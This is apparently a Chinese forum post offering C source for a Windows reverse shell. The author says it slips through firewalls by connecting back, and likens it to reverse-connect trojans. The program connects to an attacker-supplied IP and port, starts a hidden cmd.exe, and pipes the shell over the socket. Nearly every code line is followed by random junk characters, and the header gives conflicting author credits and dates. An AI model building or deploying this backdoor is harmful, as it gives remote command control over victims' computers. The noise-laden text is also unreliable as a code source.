这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'h}(> %
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/* ============================== W(5XcP(
Rebound port in Windows NT M>qqe! c*
By wind,2006/7 yz}ik^T
===============================*/ OSoIH`tA
#include .A6D&-&z
#include >0F)^W?
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#pragma comment(lib,"wsock32.lib") #`]`gNB0Yg
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void OutputShell(); J.;!l
SOCKET sClient; OQ(w]G0LP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; + Vv+<M
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void main(int argc,char **argv) 5Ve`j,`=<
{ hGU
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WSADATA stWsaData; *kYJwO^
int nRet; 1;v,rs M
SOCKADDR_IN stSaiClient,stSaiServer; L|hELWru
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if(argc != 3) |N5r_V
{ UuS6y9@v
printf("Useage:\n\rRebound DestIP DestPort\n"); dNu?O>=
return; W Og pDs
} 2dsXG$-W2
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7D(Eo{ue
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S>Z07d6 &
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stSaiClient.sin_family = AF_INET; !78P+i
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^'%Q>FVb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) shgZru
{ t|urvoz
printf("Bind Socket Failed!\n"); ~6A;H$dr
return; _-|/$ jZ
} _u3%16,o
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stSaiServer.sin_family = AF_INET; ?;]Xc~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _Z>ny&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q2b>Z6!5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >,x&L[3
{ ++sbSl)Q
printf("Connect Error!"); BT)PD9CN(
return; WA6reZ
} K
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OutputShell(); |.KB
} ).)^\
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void OutputShell() qTrM*/m:]L
{ |2E:]wT}qg
char szBuff[1024]; ToK=`0#LNK
SECURITY_ATTRIBUTES stSecurityAttributes; ~|G`f\Ln"
OSVERSIONINFO stOsversionInfo; 1B#iJZ}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `@xnpA]l
STARTUPINFO stStartupInfo; z6*r<>Bf+b
char *szShell; ^
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PROCESS_INFORMATION stProcessInformation; Avww@$
unsigned long lBytesRead; {SF'YbY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =pZ$oTR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (A )f
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stSecurityAttributes.lpSecurityDescriptor = 0; tdHeZv
stSecurityAttributes.bInheritHandle = TRUE; Up1n0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \kZ@2.pN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $."DOZQ3U
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XU<XK9EA
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2:RFPK
stStartupInfo.wShowWindow = SW_HIDE; H:nO\]
stStartupInfo.hStdInput = hReadPipe; ce3``W/H3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rf^u&f
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) *JRM(V+IEv
{ jR9;<qT/
case 1: #kk5{*`
szShell = "command.com";
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break; O]Ey@7 &
default: eiCmd
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szShell = "cmd.exe"; $O&N
break; 9?q ^yy
} nA(5p?D+YB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1pK(tm
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send(sClient,szMsg,77,0); #eF,* d
while(1) e(?1`1
{ yIf^vx_G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A{dqB
if(lBytesRead) bk0<i*ju7(
{ r $[{sW
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `,O"^zR)z
send(sClient,szBuff,lBytesRead,0); VnqcpJ
} ?E,-P!&R
else ![!,i\x
{ Q,M,^_
lBytesRead=recv(sClient,szBuff,1024,0); R, #szTu
if(lBytesRead<=0) break; 8`s*+.LI!
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _%3p&1ld
} f9OY>|a9
} *kTj,&x[
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return; 2%v6h
}